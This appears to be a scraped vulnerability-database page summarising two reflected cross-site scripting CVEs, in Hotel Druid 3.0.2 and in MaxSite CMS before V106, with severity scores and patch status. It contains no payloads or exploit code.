NVD GitHub
EPSS 5% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hoteldruid Digitaldruid
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

A reflected cross-site scripting (XSS) vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Maxsite Cms Maxsite
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40999

Related CWEs

MITRE ATT&CK

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